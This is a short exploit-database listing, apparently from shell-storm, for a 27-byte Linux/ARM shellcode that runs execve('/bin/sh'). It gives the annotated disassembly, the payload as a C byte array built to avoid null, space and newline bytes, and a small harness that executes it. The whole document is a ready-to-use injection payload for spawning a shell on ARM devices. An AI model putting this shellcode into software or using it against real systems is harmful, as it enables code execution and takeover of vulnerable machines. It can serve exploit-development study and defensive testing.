linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes

=======================================================
linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
=======================================================

/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
Date:      2010-08-31
Tested on: ARM926EJ-S rev 5 (v5l)
Author:    Jonathan Salwan - twitter: @shell_storm
 
shell-storm.org
 
Shellcode ARM with not a 0x20, 0x0a and 0x00
 
 
Disassembly of section .text:
 
00008054 <_start>:
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   4678        mov r0, pc
    805e:   3008        adds    r0, #8
    8060:   1a49        subs    r1, r1, r1
    8062:   1a92        subs    r2, r2, r2
    8064:   270b        movs    r7, #11
    8066:   df01        svc 1
    8068:   622f        str r7, [r5, #32]
    806a:   6e69        ldr r1, [r5, #100]
    806c:   732f        strb    r7, [r5, #12]
    806e:   0068        lsls    r0, r5, #1
 
*/
 
#include <stdio.h>
 
 
 
char SC[] = "\x01\x30\x8f\xe2"
            "\x13\xff\x2f\xe1"
            "\x78\x46\x08\x30"
            "\x49\x1a\x92\x1a"
            "\x0b\x27\x01\xdf"
            "\x2f\x62\x69\x6e"
            "\x2f\x73\x68";
 
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}



#  0day.today [2017-12-31]  #